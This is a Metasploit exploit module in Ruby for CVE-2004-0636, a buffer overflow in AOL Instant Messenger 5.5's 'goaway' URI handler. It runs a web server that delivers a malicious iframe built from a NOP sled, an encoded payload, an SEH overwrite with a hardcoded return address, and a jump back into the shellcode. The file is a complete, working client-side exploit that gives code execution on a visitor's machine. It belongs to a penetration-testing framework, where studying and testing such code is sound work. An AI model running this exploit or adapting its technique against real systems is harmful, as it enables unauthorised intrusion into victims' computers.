##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  #
  # This module acts as an HTTP server and exploits an SEH overwrite
  #
  include Msf::Exploit::Seh
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AOL Instant Messenger goaway Overflow',
      'Description'    => %q{
          This module exploits a flaw in the handling of AOL Instant
        Messenger's 'goaway' URI handler.  An attacker can execute
        arbitrary code by supplying a overly sized buffer as the
        'message' parameter.  This issue is known to affect AOL Instant
        Messenger 5.5.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'skape',
          'thief <thief[at]hick.org>'
        ],
      'References'     =>
        [
          [ 'CVE', '2004-0636' ],
          [ 'OSVDB', '8398'    ],
          [ 'BID', '10889'],
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],
        ],
      'Payload'        =>
        {
          'Space'    => 1014,
          'MaxNops'  => 1014,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'StackAdjustment' => -3500,
        },
      'Platform'      => %w{ win },
      'Targets'        =>
        [
          # Target 0: Automatic
          [
            'Windows NT/2000/XP/2003 Automatic',
            {
              'Platform' => 'win',
              'Rets'     =>
                [
                  0x1108118f, # proto.com: pop/pop/ret
                ],
            },
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 09 2004'))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Build out the message
    msg =
      make_nops(1014 - p.encoded.length) +     # NOP sled before the payload
      p.encoded +                              # store the payload
      generate_seh_record(target['Rets'][0]) + # set up the SEH frame
      "\x90\xe9\x13\xfc\xff\xff"               # jmp -1000

    # Build the HTML content
    content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end

end
